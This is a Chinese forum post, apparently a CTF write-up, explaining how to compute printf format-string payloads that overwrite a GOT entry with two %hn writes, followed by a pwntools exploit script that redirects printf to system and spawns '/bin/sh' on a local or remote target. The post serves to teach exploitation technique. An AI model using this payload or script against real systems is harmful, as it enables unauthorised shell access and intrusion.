-
-
[原创]printf格式化漏洞魔术公式。
-
2018-2-8 12:56
14519
-
我又来了 同学你们烦不烦?.........废话不多开始正题。有什么错误的地方纠正一下谢谢了。
公式:
将0x8048410写入到内存:0x804a00c
分两次写入:
两个高位字节: 0x0804
两个低位字节: 0x8410
因为0x8410大于0x0804,所以需要先将0x0804写入。公式如下:
'\x0c\xa0\x04\x08\x0e\xa0\x04\x08%.2044x%8$hn%.31756x%7$hn'
其中%.2044x 和 %.31756x 为重复输入字符‘0’ 2044次和31756次。
使用$可以指定特定序号的栈参数。例如: printf(“%20$x”)实际输出的是第20个参数的值。尽管调用者没有提供20个参数,但是c调用格式的压栈方式,能使该代码顺利执行。printf(“%2$x”)就是打印第二个参数以16进制显示
这里
%8$hn和
%7$hn分别表示printf自己认为压入占中的第7个参数(
\x0c\xa0\x04\x08)和第8个参数(
\x0e\xa0\x04\x08
),即
0x804a00c的低位和高位
两个数
2044,
31756
转换为16进制为 0x7FC和0x7C0C, 0x7FC加上前面的8个字节刚好等于0x804,而0x7C0C+0x804=0x8410
为什么需要将 %8$hn写在
%7$hn的前面呢?
原因就在上面了,因为0x8410大于0x0804。反之如果高位大于低位可能就要反过来写了。
下面来到例题:
用checksec 发现
got.plt可写。
这是一道典型的格式化漏洞题。题目很简单将第二个fgets当成输入参数的函数输入"/bin/sh"
利用第一个的printf格式化漏洞将printf的地址改为system地址即可。
就达到了system("/bin/sh")
附上exp
from pwn import *
import sys
import time
context.arch = 'i386'
if len(sys.argv) < 2:
p = process('./binary_300')
context.log_level = 'debug'
else:
p = remote(sys.argv[1], int(sys.argv[2])) #
def send():
log.info('start send')
payload = '\x0c\xa0\x04\x08\x0e\xa0\x04\x08%.2044x%8$hn%.31756x%7$hn'#0804A00C->70 A0 04 08 0804A070
p.writeline(payload)
log.info('send over')
sleep(2)
payload = '/bin/sh'
p.writeline(payload)
def exp():
send()
log.info('get shell!!')
p.interactive()
if __name__ == '__main__':
exp()
阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开
发者可享99元/年,续费同价!